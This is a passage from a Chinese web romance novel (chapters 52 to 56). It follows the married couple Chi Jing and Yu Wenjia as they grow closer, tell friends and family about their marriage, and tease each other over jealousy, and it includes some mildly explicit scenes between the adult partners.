“不吃了。”池镜懒洋洋地说,“想睡觉。” “好。” 给池镜吹完头发,余闻嘉自己拿了衣服去浴室洗澡,他没洗头,随便冲了冲就完事了。出来的时候看到池镜侧着身子躺在床的一边,好像是已经睡着了。 他放轻脚步走过去,上床在他旁边躺了下来。他靠坐在那里,垂眼望着身侧的人。 池镜睡得浅,余闻嘉一躺过来他就醒了。 余闻嘉俯身想亲池镜的耳朵,池镜刚好转身,这一吻落在了他脸颊上。 余闻嘉顿了一下,池镜转过身来,两人四目相视,彼此的脸庞近在咫尺。 余闻嘉沉默地凝视着他。 “要亲吗?”池镜问他。 “要。”余闻嘉说着托起池镜的下巴,亲了他一下。 这次多亲了几秒,但也只是贴着。 池镜搂住他的脖子坐起来,余闻嘉顺势抱住他,将他搂在怀里。 池镜嘴唇微张,唇瓣软软地蹭着他的嘴角,含糊不清地说:“我说过我是你的,你不用这么小心翼翼。以后都不用。” 说着他探出舌尖在余闻嘉唇上舔了一下。 余闻嘉呼吸很明显地一紧,猛地搂紧他的腰。 池镜把他看得很透,他今天克制到太小心翼翼了,还需要池镜引导他加深这个吻。 池镜的嘴唇被轻轻撬开,余闻嘉的舌尖抵了进来,生涩地与他唇舌交缠。他的手从池镜的腰间缓缓向上,移至后颈,紧紧地、用力地扣在那儿,像是怕池镜逃开,要把他牢牢地禁锢在自己身前。 他不懂接吻,他胡乱地舔舐、吮吸池镜的舌头。 这是个不留一丝空隙的深吻,余闻嘉的舌尖都快抵到池镜的喉咙了,池镜嘴里溢出细碎轻哼,他已经被亲缺氧了。 但余闻嘉还没有放开他的架势,好像他不需要呼吸似的。 池镜喘不上气,被吻得浑身发软,他手在余闻嘉身前轻轻推了一下。 余闻嘉终于松开了他,池镜脸颊泛起一层薄红,两人呼吸都很乱。 池镜气还没喘匀,余闻嘉又低头吻了过来。他赶忙用手指抵住他的嘴唇,还没开口,余闻嘉又拨开他的手,重新堵住了他的嘴唇。 “我不用再小心翼翼。”余闻嘉边吻边低声说,“这是你说的。” 第53章 第 53 章 然后你就出来认领我老婆…… 53 余闻嘉的吻算不上温柔, 生涩没有技巧,强势中显出几分粗暴。池镜从一开始的主导变成只能被动地回应,他软绵绵地靠在余闻嘉身上, 脖子被他紧紧扣着,四肢发软, 舌头也发软。 两人到底吻了多久池镜无知无觉, 余闻嘉放开他的时候他整个人都是恍惚的, 大脑缺氧,头很晕。 他晕乎乎地垂下脑袋,余闻嘉托着他的下巴将他头抬起来。 池镜现在的状态跟他那次喝多了差不多, 脸泛潮红,目光有点迷离。 “还亲呢?”池镜笑着问了句,嗓音有点发黏。 “不让么?” 池镜眯了眯眼睛,故意说:“不让了。” “现在说这话不管用。”余闻嘉说着摁住他的后脑,作势要亲上来, 池镜也没躲,坦然地闭上眼睛,坦然地等他吻过来。尽管他现在头晕得下一秒就能倒下去。 余闻嘉的嘴唇停在离他嘴唇一公分的地方,低声开口:“不是不让吗。” 池镜睁开眼, 与他对视:“逗你的。我说了, 我是你的。随你怎样。” “别总说这话。”余闻嘉提醒他。 池镜挑了下眉:“怎么呢。” “你说怎么呢。”余闻嘉用鼻尖蹭了蹭他的鼻尖, “我会得寸进尺。就跟刚才那样。” “允许你得寸进尺。”池镜说。 余闻嘉克制不住在池镜唇上咬了一下,池镜疼得闷哼一声,余闻嘉用指腹轻轻摩挲他的唇瓣,说:“真得寸进尺你也得受得住。” 他搂着池镜躺了下来,问他:“是不是头晕?” 池镜闭上眼睛轻笑一声:“知道我头晕啊。” 他现在不仅头晕,舌头还发麻。 “你现在这状态, 跟喝多了差不多。”余闻嘉弯着食指在他脸上刮了一下,脸又烫又红,还老说那些撩拨人的话,真跟喝多了似的。 池镜“嗯”了声:“是有点喝多的感觉。晕吻了。” 余闻嘉帮他轻轻揉着太阳穴:“不晕我还得亲个把小时。” 池镜笑出声来:“给你机会了,你自己不要。” “今天我先不要,以后再慢慢补。” 池镜被余闻嘉按着太阳穴,神经舒缓而放松,没多久就睡着了。他的呼吸变得平缓,余闻嘉帮他拉上被子,在他耳朵上轻轻吻了下。 前一夜两人都没睡,这会儿在酒店补了半天觉,睡到中午才醒。 余闻嘉下午还要去医院集合,他比池镜早醒,下床换衣服的时候,躺在床上的池镜迷迷糊糊地醒了。 “困就再多睡会儿。”余闻嘉走到床边说,“我下午还得去医院,一会儿去食堂给你带点饭回来。” “不睡了。”池镜下了床,“医院食堂闲杂人等能进去吃个饭吗?” “你是闲杂人等?” 池镜眨眨眼,笑着问:“我不是么?” “好歹有个医生家属的身份。” 池镜眯着眼睛笑笑:“那请家属带着我。” 余闻嘉走到他身前:“家属现在要亲一下。” “跟家属亲个嘴还要打报告呢。” 余闻嘉摁着他的后颈,低下头亲了他一下。两人嘴唇刚碰在一起,忽然听到一阵敲门声。 两人皆是一顿,池镜看向门口,开玩笑说:“我需不需要躲起来避避风头。” 他要真想避风头就不会表现得这么淡定了,余闻嘉捏了捏他的下巴,失笑道:“你哪来那么多风头要避。” “那不避了。” “你有个要避的样子吗。”余闻嘉笑着放开他,走去开门。 门外的是李彻。 余闻嘉住的这一层都是他们医疗队的医生,这个点大家休息够了都准备去医院食堂吃饭。李彻的房间就在余闻嘉隔壁,到点了,他来叫余闻嘉一起去吃饭。 “走了,吃饭了——”余光扫到池镜的那一瞬,李彻霎时噤了声,他睁大眼睛,诧异地看着余闻嘉身后的人。 “……池镜?”李彻有点懵。 池镜笑着冲他点了下头:“李大夫。” 李彻脑子有点转不过来:“……你怎么会在这啊?” “来看闻嘉。”池镜说。 李彻还是愣愣的:“跑这么大老远一趟啊。” “是。”池镜笑了笑。 三个人一起去医院食堂吃饭,坐电梯下楼的时候李彻心里直犯嘀咕,他也不是没脑子,余闻嘉和池镜关系有多好他不清楚,但好到这份上难免让人多想,更别说池镜身上穿的还是余闻嘉的衣服。 池镜坐李彻对面吃饭的时候,李彻才注意到他无名指上的戒指,他目光落在那处,有点意外。碍于跟池镜半生不熟的关系,他不便多问,怕唐突。 李彻本来还以为池镜跟余闻嘉可能是那种关系,眼下看见池镜手上的戒指,又否定了自己这一猜想。 三个人吃着饭,池镜手机响了,食堂里有点吵,他拿上手机去外面接了电话。趁这工夫李彻问余闻嘉:“池镜结婚了啊?” “结了。” “真结了?我一直以为他单身呢,上次一块出去玩还没见他手上戴戒指,这才一个多月居然就结婚了。”李彻看向余闻嘉,有点好奇,“他一直有女朋友啊?” “没有。”余闻嘉如实说。 “嗯?那是闪婚啊?”池镜看着不像是对婚姻那么草率的人,李彻心想认识一个月就结婚的对象,这得多优秀。 他“啧啧”两声,想到陆思远当年追池镜没追上的事,不由得感慨:“果然感情这事还得看缘分。陆思远当年想追都没追上,现在人家都有老婆了。” 余闻嘉抬眸看他一眼,眼神透着一丝微妙。 “怎么了?”李彻看着他,忽然“嘶”了声,“你这眼里有话啊?” 李彻要不问这一句,余闻嘉还未必会在这时坦白自己跟池镜的关系。他跟池镜都走到这一步了,现在完全没有必要再隐瞒两人结婚的事。 余闻嘉告诉李彻:“他没有老婆,只有老公。” 李彻夹着菜的筷子一顿:“……啊?他跟男的结的婚?” 余闻嘉点了点头:“跟我结的婚。” 李彻眼睛一瞪,筷子差点掉了。 说话间,池镜回来了。他看到李彻坐在那,身体僵住了似的,死盯着余闻嘉,表情有点……惊恐。 这反应……他大概能猜到这两人在聊什么。 池镜若无其事坐回位置,李彻视线转向他,张了张嘴,仿佛丧失了语言功能。 他一副有话要问又不好意思问的样子,池镜怕他憋坏了,主动问了句:“怎么了?” 李彻确实憋得难受,池镜一问他就直接说了:“闻嘉刚跟我说了件事儿……他说你俩结婚了?” “对。”池镜点了点头。 池镜光速般的承认,让李彻一口气噎在喉腔,上不去下不来,卡壳半晌,最后嘴里只能蹦出一句:“……恭喜啊。” 池镜笑着说了声“谢谢”,想安抚一下他受惊的情绪:“是不是吃惊坏了,你刚表情看着有点惊悚。” 李彻“嗨”了一声,也笑了:“那肯定啊。我还不敢问,怕唐突。我说呢,你俩这关系好得也忒过了,搞了半天两口子啊。”说着他瞥了余闻嘉一眼,“你小子结婚都不说?也没叫我?” “结得比较仓促。”池镜替他解释,“婚礼办得也简单,就没请太多人。” 李彻是个有分寸的人,该知道的都知道了,没必要问的也没多问。 余闻嘉还要在这边待两天,池镜后天要上班,今天就打算回去。余闻嘉在这边是要救人的,他也有自己的事,不可能一直待在这。他订了晚上的机票,一会儿就准备走了。 吃完饭,余闻嘉陪池镜回酒店拿衣服。余闻嘉走进房间,池镜跟在他身后问:“怎么突然就跟李彻聊到咱俩结婚的事了?我刚就出去三分钟,你这公布速度够快的。” “他问的。”余闻嘉说,顺带提了一句,“人家当你娶了老婆。” 池镜笑了声:“然后你就出来认领我老婆的身份了?” “老公。”余闻嘉纠正他。 谁知道池镜顺势应了一声:“在呢。” 余闻嘉回头看他一眼。 池镜反手把门关上,说:“再叫一声听听。” 余闻嘉脚步一顿,下一秒就转身将他抵在门上,垂下眼眸沉默地看着他。 池镜微微挑眉:“不喜欢这么叫我啊。” 就一个称呼而已,池镜想听余闻嘉随时都能叫。只是池镜这张嘴太贫了,他就是故意逗弄自己,余闻嘉知道。 “怎么不能是你叫我。”余闻嘉说。 “当然能。”池镜凑到他耳边,低低地叫了声:“老公。” 叫完弯着食指刮了刮他的耳廓,问:“满意没?” 第54章 第 54 章 但不是很受得了。 54 余闻嘉没说满意不满意, 只道:“快被你哄得找不着北了。” 池镜轻笑一声,问他:“那我哄你哄高兴没?” “都找不着北了,你说我高不高兴。” 池镜摸着他的耳朵, 说:“高兴就好。我们闻嘉以后都要这么高兴。” 池镜老这么不着调不为别的,就是想哄余闻嘉, 想让他高兴。藏着自己感情的那么多年可能都不开心, 池镜现在当然要把自己能给他的都给他, 让他时时刻刻都开心。 池镜目光专注地看着他,从耳朵抚摸到脸颊,轻轻地、温柔地触碰着他。 余闻嘉微微侧过头, 在池镜的手腕处吻了一下。 池镜笑了笑,摸着他脸说:“这脸挺嫩,到底是年轻,滑溜溜的。” 余闻嘉嗤笑一声,把他搂进怀里, “你怎么说不上两句就开始不正经,没个哥哥样儿。”说着低下头脸贴着他的脸轻轻蹭了蹭,“说得你脸多糙似的,不也滑溜溜的。” “这会儿想起来我是哥哥了?”池镜挑了下眉, “不是不让我把你当弟弟吗, 怎么还自己打自己脸呢。” 余闻嘉笑着没说话。 池镜仰头看着他:“那哥哥问问你, 什么叫‘不正经’?我以前很正经吗?” “以前也不是很正经。”余闻嘉说,“这一趟来,特别不正经。” 池镜笑出了声。 他骨子里就不是个一板一眼的人,对着余闻嘉这个“真正经”,不正经可太正常了。 因为逗弄余闻嘉这件事本身就很让他乐在其中。 “你不喜欢啊。”池镜下巴在他锁骨中间那块蹭了蹭。 余闻嘉沉默了片刻,说“喜欢”, 又沉默了片刻,说:“但不是很受得了。” “受不了啊?”池镜眼底有很浅的笑意,“那我再正经回去?” “不许。”余闻嘉微微收紧搂着他腰的胳膊。 “许不许的都正经不回去了,我本来就是这样的人。”池镜哪舍得再冷着余闻嘉,他在余闻嘉下巴上亲了亲,“我本来就该这样。” 两人又抱了一会儿,余闻嘉该回医院了,池镜也要准备出发去县城。 “到县城了给我发个消息。”余闻嘉说,“上飞机前也发个,下了飞机也发个。” 池镜笑了:“好的。” 池镜开车送余闻嘉回了医院,两人在医院门口道别。 余闻嘉解了安全带,倾身靠过来吻了吻池镜。 “路上小心点,慢点开车。” “记得每天给我报个平安。”池镜说,“等你回来。” 池镜晚上八点半的飞机,中午从这边出发,到机场的时间还算宽裕。他在县城还了租的车,然后重新叫了辆车赶去机场。他给余闻嘉发的两条消息余闻嘉都没回,医院那边肯定还很忙。 池镜落地已经半夜了,这一天一夜都奔波在路上,到家累得眼睛都睁不开,没洗澡就直接睡了。 好在这两天是周末,明天不用早起。 池镜前两天麻烦了陆思远,打算请他吃顿饭还个人情,他打电话约陆思远吃饭,陆思远在电话那头笑着说:“多大点儿事啊,还用这么客气。” 池镜笑道:“不说这事,上次你带我出去露营,这一顿我总得还吧?” 陆思远笑了声:“那成。” 池镜跟他约了个时间,说:“那就这样,不打扰你忙。” 池镜刚要挂电话,陆思远开口叫了声:“池镜。” “嗯?还有事?” “你……”陆思远语气略带迟疑,“你跟闻嘉,你们俩在一起?” “嗯,是的。” “结婚了?” “对。” 陆思远笑了笑:“我听李彻那货说的,他说他昨天见着你了。” “我想也是。”池镜笑了下,“除了他没别人了。” “其实我也有猜到一点。”陆思远说,“上次去露营……你俩就在一块了吧?” “那时候还没有。” 电话那边的陆思远挑眉梢微挑,有点意外:“看着不像。” 池镜笑道:“确实没有。那时候……算还在磨合吧。” “那你俩结婚挺快啊。” “是。是有点快。” 陆思远对池镜早没那方面心思了,说话也挺坦荡:“说实话,有点没想到你会结婚,还是跟个男生。”他笑了笑,“真的挺意外的。” 池镜说:“我也没想到。” “不过对象是余闻嘉,好像又没那么意外了。”陆思远说。 池镜笑了声:“怎么说?” “感觉吧。感觉你俩在一块,别人插.不进去,那次生日你坐他旁边我就有这感觉。不说这个,单说闻嘉,那么优秀,你俩能在一起也不奇怪。”陆思远停了停,感慨道,“挺好的,能遇到对的人是很难得的事。” 池镜“嗯”了声,说:“是这样。” 余闻嘉是第四天下午回来的,落地的时候池镜还在上班,没能去机场接他。他出差近一个月,今天两家人要聚一块吃顿饭,就在老爷子那儿。 池镜加班,是最后一个到的。 老爷子住的院子大,吃饭的地方是单独的一间屋。池镜姗姗来迟,走进屋里视线扫了一圈落在余闻嘉的方向。余闻嘉从池镜进来就一直看着他。他旁边有个空位,那是池镜的位置。 池镜跟长辈们打了声招呼,径直朝余闻嘉那边走去,他走到余闻嘉身后摸了摸他脑袋,轻声说:“可算回来了。” 余闻嘉帮他拉开椅子,池镜把外套脱了挂在椅背上,坐下后抓着余闻嘉的手摸了一下,说:“穿太少了。手那么凉。” 他们这不比云南,这个季节温度还没高到需要穿短袖的程度,这屋里坐的一圈人穿的都是长袖,就余闻嘉一个人穿了T恤。他在飞机上就穿的这一件,到家没换衣服,也没加件外套。 “不冷。”余闻嘉说。 两个人的手都在桌下,没人看见他们紧紧握着对方的手。 “上次发烧的事忘了?这个季节最容易着凉,别不冷不冷的。不冷你手这么凉?” “我刚洗了手。” 余闻嘉坐池镜右边,池镜右手被他抓着不放,没法吃饭。见他没有松开的架势,池镜侧头看向他,手指在他手里动了动,笑着小声说:“不让我吃饭了?” 余闻嘉看他一眼,松开了手。 说来也挺滑稽,两人明面上是结了婚的一对,在长辈面前拉个手还得偷偷摸摸的,跟两个情窦初开的小年轻似的。 想到这,池镜不禁在心里笑了下,心想余闻嘉可不就是小年轻吗。 长辈在场,两人也不好意思太黏糊,想接触顶多就捏捏手指、刮刮手心。 中途池镜出去接了个电话,打了好久,有十几分钟。余闻嘉出去找他的时候他还举着手机在说话,站在院子里,背对着餐厅这边。余闻嘉没去打扰他,靠墙站着,等了大概两分钟,池镜终于挂了电话。 他转过身来,一眼看到余闻嘉,姿态放松地倚墙站着,穿着黑T和运动裤,简简单单的一身,清爽又帅气。 不掺杂任何主观情感,余闻嘉也是个颜值非常突出的大帅哥。 院子很空很大,但对他们来说也算是个独处空间。 池镜知道他要什么,把手机放进口袋,看着他说:“来。” 余闻嘉走过来,走到他身前。 池镜微微张开双臂,说:“来抱。” 余闻嘉二话不说抱住了他。 池镜下巴搭在他的肩膀上,有一下没一下地抚着他的后背,“这几天累坏了吧。” “还好。心比较累。” 池镜很轻地笑了声:“心累?为什么累的?” “为你。”余闻嘉侧过头,亲亲他的耳朵,“想你想的。” 两人也没做其他亲近的事,就站在院子里抱了一会儿。没多久,餐厅的门被打开了,余闻嘉妈妈从里面走了出来,她要去隔壁厨房拿个汤碗,出来就看见余闻嘉和池镜抱在一起。 池镜眼神跟余母对个正着,有些尴尬地松开手,叫了声:“妈。” 余闻嘉回头看了眼,也叫了声“妈”。 余母脸上浮现出笑意:“我去厨房拿个碗,打扰你们了。” 池镜难得有点不好意思,笑了笑不知道该说什么。 余母走去厨房拿碗,余闻嘉跟进来,余母转头看他一眼:“你进来干什么,拿东西啊?” “帮你拿碗。”余闻嘉说。 余母笑了声:“就几个碗还用你帮我拿。” 她从橱柜里拿了几个汤碗,问余闻嘉:“闻嘉,你现在跟小镜挺好?” “挺好的。” 余母转过来:“哪种好啊?是你想要的那种好?” 余闻嘉点了点头:“是。” 余母温柔地笑起来,走过来拍拍他的胳膊,说:“挺好。得偿所愿了,是不是?” “您是早就知道了?” “废话。”余母在他脑门上拍了一下,“你是我儿子。” 余闻嘉笑着拿过她手里的碗。 吃过晚饭两人没在老爷子这儿待太久,坐了一会儿就回家了。 余闻嘉推着行李箱走进客厅,池镜跟在后面进来,抬手解西装扣子,他把西装外套把沙发上一扔,正要解领带,余闻嘉就放下行李箱走过来亲了他一下。 这个亲亲来得急促,结束得也快。 池镜看着他挑了挑眉:“进步了,这次知道不打报告就行动了。” “你别张口就来。”余闻嘉捏了捏他耳垂,“我早就不打报告了。” 池镜笑而不语,他穿着衬衫系着领带,手还搭在领结上,他手放了下来,抬了抬下巴,示意余闻嘉:“帮我解了。” 第55章 第 55 章 那现在请支付我尾款。 55 余闻嘉抬起手, 手指勾住领结中间,缓缓往下,把池镜的领带解松。领带松松垮垮地挂在池镜脖子上, 余闻嘉拉着领带将池镜往身前轻轻一拽。 他拽着领带往上提了一下,这一拽让池镜微微仰起了脸。 一拽一提再一拽, 等池镜反应过来的时候, 已经亲到了余闻嘉的嘴唇。 池镜眨了下眼睛的工夫, 余闻嘉就松开了他。 这人跟人亲个嘴也像情窦初开的小年轻,就像前几日在云南两人最开始接吻那样,纯纯情情地碰一下。 明明进屋还没三分钟都已经亲了两次了。 爱亲。 但是亲得很克制。 池镜心底发笑, 嘴上却道:“夸你进步就开始频繁搞偷袭了啊。” 余闻嘉解下他的领带说:“这是帮你解领带的酬劳。” “这么点就够了?” 余闻嘉抬眸看他一眼,道:“只是预付款。” 池镜“噗嗤”笑了:“没听过酬劳还有预付款的。” “我定的。”余闻嘉拿领带在他脸上轻轻蹭了下,“一会儿找你要尾款。” 他把领带拎手里,另一只手拍了拍池镜的腰:“去洗澡吧。我把行李收拾一下。” “好的。”池镜也没去卧室拿换洗衣服,直接就去浴室洗澡了。 余闻嘉收拾了一下行李箱, 然后把池镜扔在沙发上的西装连同领带一起挂在了卧室的衣柜里。 池镜在工作方面是绝对的一丝不苟,但在生活上就还挺随意的。跟余闻嘉比起来,都显得他有点“糙”。西装就随手扔在沙发上,还得余闻嘉跟在后头帮他收起来。 池镜洗完澡出来没在客厅看到余闻嘉, 他走去卧室, 站门外看见余闻嘉站在床前, 弯着腰在帮他叠衣服。一旁的挂烫机上挂着刚从阳台收下来的衬衫,余闻嘉把叠好的衣服放进衣柜里,转身去熨衬衫。 余闻嘉之前说池镜没个哥哥样儿,池镜心想确实。在生活上基本是余闻嘉照顾他多一点,这方面他确实没个哥哥样儿。 池镜走进房间,听到脚步声, 余闻嘉转头看了眼,表情微微一愣。 池镜平时洗完澡都穿睡衣,今天去洗澡没带衣服,洗完直接穿了浴室里的浴袍。 他跟余闻嘉形婚这小半年,只有结婚第一天晚上不小心穿成了这样。 以前一个人住的时候池镜洗完澡都穿浴袍,就是懒得拿衣服,临睡前才会换睡衣。后来余闻嘉住进来,他才改了这习惯。 现在两人已经是更亲密的关系,池镜没必要再跟余闻嘉保持边界,想怎么穿就怎么穿。 余闻嘉转过头去继续熨衬衫,说:“怎么穿成这样,忘拿衣服了?” 池镜笑了声:“我穿哪样了?你这话说的我好像穿了什么不三不四的衣服。” “平时洗完澡穿得那么严实,”余闻嘉明知故问,“今天怎么了,穿着浴袍就出来了。” 这话说得太故意了,池镜笑着朝他走过去:“你说怎么。” 余闻嘉仔仔细细熨着衣服,说:“我不说。”他侧过头看池镜一眼,“我要你说。” “因为以前是以前,现在是现在。以前你是弟弟,现在你是老公。”池镜走到他身后环住他的腰,在他耳边问,“还满意吗?这个回答。” 池镜毫无征兆地从后面搂上来,余闻嘉动作很明显地一顿,他把挂烫机的喷头往架子上一放,手抓着池镜的小臂,低声说:“我是不是跟你说了,你这样我受不了。” 池镜笑了声:“你要我说的,这会儿又受不了了?” 余闻嘉心道你这么抱着我,说什么我都受不了。 余闻嘉怕蒸汽烫着池镜,把挂烫机推远了些。他扯开池镜环着自己腰的手,转过身捏住他的下巴,沉默了会儿,问:“我今天睡哪儿?” 池镜轻笑:“你想睡哪儿?” 余闻嘉视线往床上扫了一眼,说:“这。” 说着松开了池镜的下巴,跟他说:“我去洗澡。” 走前他关了挂烫机,把熨好的衬衫挂进了衣柜里。 余闻嘉洗完澡回来的时候,池镜正靠在床上看书,他没换睡衣,身上还穿着浴袍。 池镜抬了下眼,看到余闻嘉站在门口,他拍了拍旁边的枕头,说:“来。” 余闻嘉关上门,走过去掀开被子上了床。 池镜看书正好看到章节收尾处,他低头继续看下去,等看完抬起头来时,发现余闻嘉正看着自己。 池镜笑道:“盯着我也不说话。” “还看吗?”余闻嘉垂眸扫了一眼书页。 “你这眼神,不太像想让我继续看的样子。” “没有。”余闻嘉说,“你要看就继续看。” “不看了。”池镜合上书放在床头柜上,然后转头看着余闻嘉。 “没不让你看。”余闻嘉说。 “我自己不想看了。” “那现在请支付我尾款。” 池镜忍不住笑了:“要我怎么支付?” 余闻嘉倾身压过来,吻住了他的嘴唇,用舌头抵开他的唇瓣,模糊不清地说:“这样支付。” 池镜被他压在身下,抬手搂住了他的脖子,回应着他的深吻。 余闻嘉的手隔着浴袍掐住池镜的腰,只是吻他,手上并没有其他动作。浴袍松松垮垮地挂在池镜身上,腰带本来就没系多紧,很容易就松开了。衣襟滑落,池镜一侧肩膀露了出来。余闻嘉忍不住在他肩头咬了一下,池镜轻哼了一声,余闻嘉吻着自己咬的那处低声说“对不起”。 到目前为止,最放肆的也就咬的这一下了。 余闻嘉含着池镜的唇瓣,手一寸寸往下,最后按在了池镜的胯骨上。没了浴袍的阻隔,他感受着池镜身体的温度。肌肤相亲让他头脑发涨,明明两人只是接了个吻。 池镜感觉余闻嘉的吻越来越重,吻得他几乎透不过气,就在他感觉自己快要窒息的一瞬间,余闻嘉突然松开了他。 余闻嘉低头看着池镜,呼吸声很重。 “镜哥。”余闻嘉哑声叫他。 “在呢。”池镜的声音也有些哑。 这一看就是有状况了,池镜手探过去摸了一下,余闻嘉眉心一蹙,猛地抓住他的手。 池镜轻轻笑了声:“你是想让我帮你,还是不想让我帮你啊。” 余闻嘉沉默地松开手。 “躺下来。”池镜说。 余闻嘉侧身躺了下来,池镜也侧过身。池镜帮他两次,本来还以为余闻嘉年轻气盛的会很快结束,没想到两次都特别久。池镜第一次给别人做这种事,过程中耳朵也是红的。余闻嘉从床头柜上抽了几张纸巾,帮他擦手。 “别擦了,这也擦不干净。”池镜说,“我直接去浴室洗一下。” 他动了动手指,说:“手都酸了。一会儿给我揉揉。” 余闻嘉现在就给他揉了起来,池镜手一缩,失笑道:“手还没洗呢,你也不嫌脏。” “反正是我弄脏的。”余闻嘉看着他说。 “这会儿说这话倒是脸不红心不跳,”池镜挑了下眉,“刚才还不好意思让我碰呢。” 池镜其实自己也有情况,两个人去浴室清洗的时候余闻嘉才发现。池镜站在水池前洗手,余闻嘉忽然从身后靠了过来,拥住他,然后二话不说把手覆了上来。 “别……”池镜吃了一惊,他自己给别人帮忙倒没那么不好意思,余闻嘉要帮他他反倒敏感地往前躲了一下。 “你还说我不好意思。”余闻嘉在他耳旁低声说,“现在是谁不好意思。” 余闻嘉不让他躲,掐着他的腰将他圈在身前。 池镜闭上眼睛,很轻地皱了下眉。 余闻嘉低下头,吻他的脖子,从后颈一路吻到耳朵,牙齿叼着他的耳垂轻轻磨着。 池镜闭着眼,手撑在水池上微微发抖,他颤着音开口:“闻嘉……” “嗯。”余闻嘉应了声,吻了吻他的耳朵,“你耳朵很红,镜哥。” 余闻嘉抬眼看向镜子里的人,说:“脸也很红。” 池镜垂着脑袋说不出话。 余闻嘉摸着他的下巴说:“睁眼。” 池镜的下巴被余闻嘉抬起来,他下意识睁了下眼,看见镜子里的自己又立马闭上眼,别过脸去。 两人又在浴室待了半小时,最后直接重新洗了个澡。有过更亲密的接触,两人站一起面对面冲澡也没觉得不好意思。 换了身衣服重新回到床上,余闻嘉将平躺着的池镜一把搂进自己怀里。 池镜脸埋在他胸口,深深吸了口气,闻他身上的味道。 “给我捏捏手。”池镜把手搭在他的小腹上。 余闻嘉握着他的手轻轻捏了起来,说了句:“还酸呢。” 池镜嗤笑一声:“我手酸是为谁啊。得了便宜还卖乖呢。” “你呢?”余闻嘉问池镜,“刚才舒服吗?” “还要做个满意度调查是吧?”池镜闷闷地笑了两声。 “是的。” “还行吧。”池镜故意说,“感觉技术有待加强。” 余闻嘉沉默片刻,反将一军:“拿你练手?” 池镜败下阵来,笑道:“凭什么拿我练手?” 余闻嘉看着他:“凭你说你是我的。” 第56章 第 56 章 不代表我不吃新醋。…… 56 余闻嘉刚结束医援活动, 这两天都休息,但他第二天早上还是很早就起了,起来给池镜做早餐。池镜睁眼时床上只有他一个人, 他换了衣服去卫生间洗漱,发现余闻嘉连牙膏都给他挤好了。 他进厨房的时候, 余闻嘉正在料理台那儿切橙子。 池镜走到他身后捏了捏他的脖子:“怎么连牙膏都帮我挤啊。” “帮你省时间。” “你这样迟早把我惯得四体不勤。”池镜浅浅笑着, “以后别给我挤了, 知道没?” 余闻嘉没说话。 “听没听到?”池镜身子往前探,侧过头看他。 “没听到。”余闻嘉置若罔闻,微微侧头视线扫过来, 淡淡道,“我乐意惯着。” “哎,你……”池镜不知道该说什么,反正说什么他也不会听。 余闻嘉把橙子切好,放进果盘里, 又找了个杯子拿热牛奶泡麦片。他偏了偏头,让池镜把果盘端去餐桌上。 池镜把果盘放桌上,坐下吃早餐,余闻嘉端了杯麦片递过来, 问他今天晚饭有什么想吃的。 池镜之前跟陆思远约了顿饭, 就在今天晚上, 他跟余闻嘉说:“今天我约了人吃饭,晚上不在家吃。” “约的谁?” “陆思远。” 池镜刚要伸手接余闻嘉手里的麦片,余闻嘉忽然把手收了回去。 池镜仰脸看着他。 余闻嘉把麦片搁桌上,坐下盯着他。 “怎么了,这么看着我。”池镜失笑,“不是不陪你在家吃饭, 我之前就跟他约了的。上次能去云南找你也多亏了他帮忙,我请他吃顿饭还个人情。” 以前跟池镜有名无实,余闻嘉不翻旧账,现在有名有实,那可得翻一翻了。 余闻嘉看着池镜不说话,池镜有点搞不清状况,纳闷道:“怎么了啊?怎么不说话。” “要跟你翻翻旧账。” 池镜眨了下眼睛,有点茫然:“翻旧账?什么旧账?” “你跟陆思远的旧账。” 池镜有点懵:“我俩有什么……” “他以前追过你。” 池镜一愣,随即笑了:“你听谁说的啊?” 他心想按陆思远的性格应该不会主动跟余闻嘉说这个,余闻嘉估计是从李彻那儿听说的,毕竟李彻跟陆思远熟,跟余闻嘉也熟。 “还笑?”余闻嘉故意板着张脸,“严肃点。” “是。”池镜立马收起笑意,严肃了两秒没绷住,又笑了,“这也算旧账啊,我又没跟他谈过。再说都多少年前的事了,你不提我都想不起来。” 池镜起身坐到余闻嘉旁边的位置,歪过头看着他:“你不会觉得他现在还对我有那方面的想法吧,这一看就没有啊。”他戳了戳余闻嘉的脸蛋,“想什么呢你。” 余闻嘉转过头来看他,池镜的手指还戳在他脸上。 “没想什么。”余闻嘉说,“就是跟你确认一下。” “确认什么?” “确认一下他是不是真的追过你。” 池镜笑了声:“确认过后呢,需要我跟他保持距离?” “不需要。” 池镜指尖在他脸颊上轻轻划着,轻笑道:“还以为你连这陈年老醋都吃呢。” 余闻嘉补充了一句:“不用保持距离,但也别接触太频繁。老醋不吃,不代表我不吃新醋。” 池镜笑了好一会儿才说:“明白。” “那我今天晚上跟他这顿饭,还能去吃吗?领导。”池镜问他。 余领导点了点头:“可以。早点回来。” “好的领导。” 池镜晚上跟陆思远约在了一家西餐厅,这家西餐厅是他大学同学投资的,前不久刚开业,他请陆思远吃饭,顺便来捧捧场。 两个人吃得差不多了的时候,池镜他同学的电话打了过来,问他坐几号桌。 池镜报了个桌号过去,挂断电话没多久,Allen就被服务员领着过来了。 这家西餐厅就是Allen投资的,他是股东,经营上的事不归他管,平时很少来餐厅。今天得知池镜过来吃饭,才特意来了一趟。 池镜跟陆思远介绍了一下,两人笑着握了握手。 “今天这顿记我账上。”Allen说。 “别。”池镜说,“我请客吃饭,记你账上算怎么回事。” “你来我这吃饭,我还能让你付钱?”Allen笑了笑,“这可不行。” “你这样我下次不来了。” “那可别。行了,我不跟你争。那我请你们喝酒,正好叫了几个朋友,就在这附近。” 陆思远笑了下说:“我就不去了,我不喝酒。” “不喝酒可以喝别的啊。”Allen笑着说,“那也有无酒精的饮料。” 人家专门来这一趟请他们喝酒,两人也不好意思扫兴,就跟着一起去了。 去的是个清吧,池镜坐下就拿出手机给余闻嘉发消息:可能要晚点回来,被叫来喝酒了。 余闻嘉:跟谁? 池镜:老同学。 余闻嘉:哪个老同学? 池镜看着手机屏幕笑了声,心想盘问得可真够细的。 池镜:大学同学,我生日那天你见过的,个子高高的一个混血。 余闻嘉:知道了。 池镜:他那会儿还对你有点意思,这事记得? 余闻嘉:不记得。 池镜:再装。 余闻嘉:结束了给我打个电话,我来接你。 池镜:没事我不喝酒,我自己开车回去。 余闻嘉:喝不喝我都来接你。 池镜:那要不你二十分钟后过来?还不知道他们要喝多久。 余闻嘉:我可以现在就过来。 池镜笑了笑,回道:那稍微有点早了,还是二十分钟吧。 余闻嘉:行。 二十分钟后,池镜收到了余闻嘉的消息:到了。 池镜:我跟他们打个招呼,一会儿就出来。 余闻嘉已经进来了,他四下扫了一眼,看到了坐在吧台那儿的池镜。 池镜侧着头,在跟他旁边的人说话。 “今天就先喝到这了,我得先走了,你们慢喝。” 